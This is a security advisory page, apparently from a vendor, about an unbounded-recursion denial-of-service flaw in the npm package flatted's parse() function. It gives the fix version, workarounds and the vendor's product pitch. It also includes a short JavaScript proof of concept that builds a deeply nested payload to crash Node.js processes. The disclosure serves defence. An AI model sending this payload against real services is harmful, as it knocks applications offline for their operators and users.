GHSA-25h7-pfq9-p65f
HIGHflatted vulnerable to unbounded recursion DoS in parse() revive phase
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
flattednpmDescription
Summary
flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.
Impact
Denial of Service (DoS). Any application that passes untrusted input to flatted.parse() can be crashed by an unauthenticated attacker with a single request.
flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
Proof of Concept
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
Fix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive revive() to a stack-based loop.
Affected Versions
All versions prior to the PR #88 fix.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flatted | all versions | 3.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flatted. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flatted to 3.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-25h7-pfq9-p65f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-25h7-pfq9-p65f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-25h7-pfq9-p65f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-25h7-pfq9-p65f in your dependencies?
O3 detects GHSA-25h7-pfq9-p65f across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.